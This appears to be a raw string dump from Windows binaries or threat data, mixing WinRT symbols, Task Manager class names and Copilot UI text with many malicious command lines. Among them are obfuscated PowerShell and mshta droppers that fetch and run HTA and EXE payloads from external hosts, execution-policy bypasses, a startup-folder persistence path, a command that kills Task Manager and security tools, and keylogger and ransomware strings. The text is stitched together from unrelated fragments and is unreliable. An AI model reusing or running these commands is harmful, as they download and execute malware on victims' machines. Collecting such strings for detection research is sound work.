.?AU?$consume_Windows_UI_Xaml_IUIElement4@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
SA.EvilWest-Windows_4hny5m903y3g05
hc:\windows\system32\mshta.exe"https://casalomaminca.com/wp-content/uploads/2025/02/smbhta.html
*c:\windows\system32\mshta.exe"https://www.drjagrutichavan.com/include/files/auth/aex/index.php"&mshta.exe
Ac:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttp://91.193.18.94/file1'-replace''
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttps://apps-actions.com/hmrc'-replace
c:\windows\system32\cmd.exe/c"powershell-winh-nop-noni-epbypass-command"invoke-command-scriptblock{invoke-webrequest'https://hastebin.de/raw/sanawebife
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-command"start-processmshta-argumentlist'https://iplogger.cn/forensicsas.png
5c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('ms##h##ta##h###t###t##p#s:##/##/#8##7##.##1##2#0#.##126###.##4###8/d#o##m'-replace'#'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m#sht##a#####h#t#tp#:/#/##1#9##5.###6#6#.###2#1#3#.9/p##r###ivat#e/ht##ml#'-replace'#')
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m##s##h###ta###h##tt#p##:##/###/#9#1.#2#0###2##.4###.##9##6##/le###d#/###p#d###f##'-replace'#
*{\Ic:\windows\system32\cmd.exe/c"curl.exe-s-ua3d788a3-c665-4727-9c6c-9119eec8691e:74a7e79d-1b19-45f6-a14f-0adbb856cbfa-o%appdata%\pros.htaftp://myfileview1.com:3500/pros.hta"&%appdata%\pros.hta
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m#s###h##t###a###http:#/#/##94.1##5##6##.177.###15###5/##u#k#r###a##i##n###e#/#d###emo###2#'-replace'#
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('msuckssuckhsucktsuckasuckhsucktsucktsuckpsuckssuck://qsucku.asuckx/ezsuckgrc.msuckp4suck'-replace'suck
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m#s###h#t#a#h##t###t#p###s:#/###/###otr##s##o#lu##t##o###n###s.#c###om###/###re###p###o###rt'-replace'#
c:\windows\system32\conhost.exepowershell$progresspreference='silentlycontinue';$b='c:\users';iw''rhttps://liuyi.neectar.info/hsdverd_3ed5d/mdswsourt_4rfs-outfile$b\public\military_plan_shuo_reading.pdf;
^c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehid-com"$az=\"$env:temp\6b8d8597.exe\";invoke-webrequest-uri\"https://wwwprotectioncloud.app/templates/lumindora.exe\"-outfile$az;&$az;
c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m##s###h##ta##h###tt###p##:#/#/#91###.2##0##2###.#4#.#9###6#/#a###p###i#/###g###u###i#d##a##n###c###e#'-replace'#')
c:\windows\systemu
LocalizedResourceName=@%windir%\System32\ieframe.dll,-12385
Microsoft-Windows-AppModel-Runtime
Microsoft-Windows-AppModel-State
Microsoft-Windows-Audit-CVE30f04
Microsoft-Windows-Kernel-General
Microsoft-Windows-Kernel-IOindow
Microsoft-Windows-Ntfsct
Microsoft-Windows-Ntfs-UBPM
Microsoft-Windows-PCRPF
Microsoft-Windows-USB-USB4DeviceRouter-EventLogs
Microsoft-Windows-ZTDNS
Microsoft-Windows-ZTHELPER1
?x-windowsupdate
Windows.Internal.ApplicationModel.LegacyPinnableSurface
Windows.Internal.ApplicationModel.StartPinnableSurface
Windows.Internal.ApplicationModel.TaskbarPinnableSurface
com.microsoft.windows.additional_foreground_boost_processes
Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbweeIn
_cgo_dummy_exportattackevals.mitre-engenuity.org/exaramel-windows/c2attackevals.mitre-engenuity.org/exaramel-windows/discoveryattackevals.mitre-engenuity.org/exaramel-windows/executeattackevals.mitre-engenuity.org/exaramel-windows/files
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::CdmConnectionT<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::CdmConnection,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection>::ActivateInstance(void) const
struct winrt::Windows::Foundation::IReference<int> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<int>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
void __cdecl winrt::weak_ref<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::from_com_ref<const struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection&>(const struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> >::Cancel(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> >::Cancel(void) const
6struct winrt::Windows::Foundation::IPropertyValueStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IPropertyValueStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IPropertyValueStatics<struct winrt::Windows::Foundation::IPropertyValueStatics>::CreateUInt32(unsigned int) const
Microsoft-Windows-PeerDist-HttpTrans-Out
DriverData=C:\Windows\System32\Drivers\DriverData
CloudData.WindowsClient.CloudDataAvailableWnf
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.WiFi.WiFiProfileCost
CloudData.WindowsClient.CloudDataAvailableWnf
CloudData.WindowsClient.CloudDataAvailableWnf
CloudData.WindowsClient.CloudDataAvailableWnf
Microsoft-Windows-WLANSvc-ASP-CP-In
\Device\HarddiskVolume3\Windows\System32\conhost.exe?
WindowsTrustedRTProxy
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwedDi
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
rcMicrosoft.WindowsAlarms_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
F\Device\HarddiskVolume3\Windows\System32\sdbinst.exe
rcMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Blockp
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
DriverData=C:\Windows\S
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
Otokens=*"%%ein('dir"%homepath%\.."/b/s^|find"prefs.js"')do%windir%\system32\attrib.exe-r-a-s-hV
landing.qpoe.com:8080/popka/?u=6&id=LockWindowsBot\Project\AntiPiratewinlock
OS=Windows_NT
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
\SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.sys
\SystemRoot\System32\drivers\usbuhci.sys
,Windows
WINDOWS LIVE MESSENGER PASSWORDS
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
EVT-Windows-C++-No-3.5.131.1
windir=C:\WINDOWS
USERDOMAIN=Windows11
echooffsetlocalset"fugues=c:\windows\temp\
cmd.exefurqansharing/v/rst^ar^tm^s^iex^e^c^wfn^mzb=iv^bk^ddzy/^pack^a^g^e"http://2t.pm:8080/abbyocd5il/sk3b3adyeupyaj1ysxo/!computername!"/qn%windir%\system32\imageres.dll%
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\188.34.188.7@80\555\'";start-sleep-seconds1;stop-process-nameexplorer;\\188.34.188.7@80\555\x90
system32\2:!l&mshta.exedoksoks.xgmshta.exel-k}^zc:\windows\system32\mshta.exe%windir%\system32\
.rtf%systemroot%\system32\wmploc.dll%systemroot%
lf@po:i+00/c:\t1gaffes>.gaffesn2cussinghades.jsp.cussinghades.js"..\..\..\..\gaffes\cussinghades.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
>windowsfirewall"taskkill/f/im"chrome.exe"/ttaskkill/f/im"firefox.exe"/ttaskkill/f/im"processhacker.exe"/ttaskkill/f/im"explorer.exe"/ttaskkill/f/im"taskmgr.exe"/tgotovirus
GetSystemWindowsDirectoryW
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\Local
USERPROFILE=C:\WINDOWS\ServiceProfiles\Local
YYRun.exe start. argc is:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Preapproved\{AAC9EA5D-F954-4D28-9E7C-96E45D80125A}!#SLF:Win64/Prodestresz.A!MTB
StubPathWindows Media
\system32\svchost.exeWindowsDefend
c:\windows\system32\windowspowershell\v1.0\powershell.exe$
Za/cinvoice\youcontract.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exe
onecoreuap\shell\twinapi\sharewindowcommand\libs\system\sharewindowservermanager.cpp
onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowservices.cpp
onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowviewserviceidentity.cpp
onecoreuap\shell\twinapi\windowservices\windowservices\lib\windowviewserviceslifetimemanager.cpp
System.Windows.Forms.Layout
UnhookWindowsHookEx
SetWindowsHookEx
IWindowSplitterControlFactory
get_WindowSplitterControlFactory
set_WindowSplitterControlFactory
m_dockWindowSplitterControlFactory
DefaultWindowSplitterControlFactory
tWindowsZ
c:\windows\system32\t.exe
.to.8866.orgSOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\
\SystemRoot\system32\drivers\csc.sys
\SystemRoot\system32\drivers\nsiproxy.sys
\SystemRoot\System32\drivers\NdisVirtualBus.sys
\SystemRoot\System32\DriverStore\FileRepository\swenum.inf_amd64_8b9dd76f362e3ec6\swenum.sys
:\windows\%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.exe
WINDOWS 286 3.0
WINDOWS 386 3.0
WINDOWS NT  3.1
WINDOWS VMM 4.0
WINDOWS NT  4.0
ManualRegisterIntfAddress\Notifications\Settings\Windows.SystemToast.Print.Notificationprnms003.inf_amd64ManualRegisterInterfacesDiagnosticToolsGeneralBrandVersion!#ALF:Y2V:Florian_Roth/PlugX_NvSmartMax_Gen
d:/build/ob/bora-24843032/src/bora-vmsoft/vmbackup/windows/VCBSnapshotProvider/VmSnapshotRequestor.cpp
IsWindowsSupportNVMeHotadd
%s():%d: The Windows Server build (%d.%d.%d) can't support NVMe hotadd.
%s():%d: The Windows Server build (%d.%d.%d.%d) %s support NVMe hotadd.
ret = IsWindowsSupportNVMeHotadd(isNVMeHotaddSupported)
c:\windows\system32\cmd.exe/c%systemroot%\system32\windowspowershell\v1.0\powershell.exe-whiddeniwr-urihttps://ieiap033server.biz/dcofuooq/major_0x00029efe4af1e366.exe-outfile$env
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-command"start-process($('m'+'s'+'hta'))-argumentlist'https://iplis.ru/lovers.jpeg
c:\windows\microsoft.net\framework\v4.0.30319\
[windows]
cmd.exeg/d/c^s^t^ar^t^m^si^e^x^ecf^j^jbw^x=ls^me-^f^v"http://2t.wf:8080/aky/nxoi/b9vlvw/0cjof/yy6xt7pg5har8cog/%computername%"/^q^e^ix^w=airxxf^l%windir%\system32\shell32.dll%
"C:\windows\system32\taskmgr;
Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --webview-exe-name=SearchHost.exe --webview-exe-version=2125.34901.0.0 --embedded-browser-webview=1 --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1840,i,4069604830830479867,9463532062439372352,262144 --field-trial-handle=2024,i,16250980060057391502,14122857680286850472,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2020 /prefetch:2 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf
windows\a.txt
ase@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
aps.prod.windows.com0
aps.prod.windows.com0>
Windows 
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment.Desktop
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Shell.AIX
Microsoft.Windows.Desktop.AIAssistance
Microsoft.Windows.Shell.HardwareRequirements
MicrosoftWindowsFileExplorer
Microsoft.Windows.Shell.InputDialTrace
Microsoft.Windows.Security.PasswordlessPolicy
<http://51.75.133.165windows\\temp\\microsoftofficeword.exe"= "c:\\windows\\temp\\
) failed. Windowsc
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\LauncherFrameSizeController.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\ListViewHelpers.cpp
Adobe Photoshop CS5 WindowsA
]%SYSTEMROOT%\System32\ntdll.dllr wh0
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
c:\windows\temp\log.txtc
Tfthe keylogger has been installed%programfiles%\tmonitor\www.mykeyloggeronline.comwindows task monitor.lnkRansom:Win32/Locky.PA!MTB
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@UFocusProxyButton@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
"Windows"%
whenqubWindows-onlyIprocesswherhw#@hre.pdbBehavior:Win32/Remcos.gen!MTB
SCRIPT:PsAssemblyWindowsForms
EnumChildWindows
s\system32\mshta
@echooffpowershell-executionpolicybypass-windowstylenormal-command"invoke-webrequest-uri'https://neoesdras.ddns.net:443/core.ps1'-usebasicparsing|
http://147.45.44.42/boom/trcgi.bat"$p2="c:\windows\temp\cmd.bat"$p3="$env:appdata\microsoft\windows\startmenu\programs\startup\deleteapp.url
Microsoft.Windows.Licensing.SppSvc
Microsoft.Windows.TlgAggregateInternal
WindowsOneDriveDesktopNumberofForks
76f571ddf5dc4858bdec72f7357403fb_WindowsOneDriveDesktopForkNotificationTruncation
WindowsOneDriveDesktopIsSameorDifferentPath
WindowsOneDriveDesktopFileNameLength
"-windowstylehidden
T$windows_artifacts="http://pure-artifactory.dev.purestorage.com/artifactory/list/iridium-artifacts/windows-initiator"
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
147.45.44.42/boom/trcgi.bat"$p2="c:\windows\temp\cmd.bat"$p3="$env:appdata\microsoft\windows\startmenu\programs\startup\deleteapp.url
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
"Windows"
om/windows
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
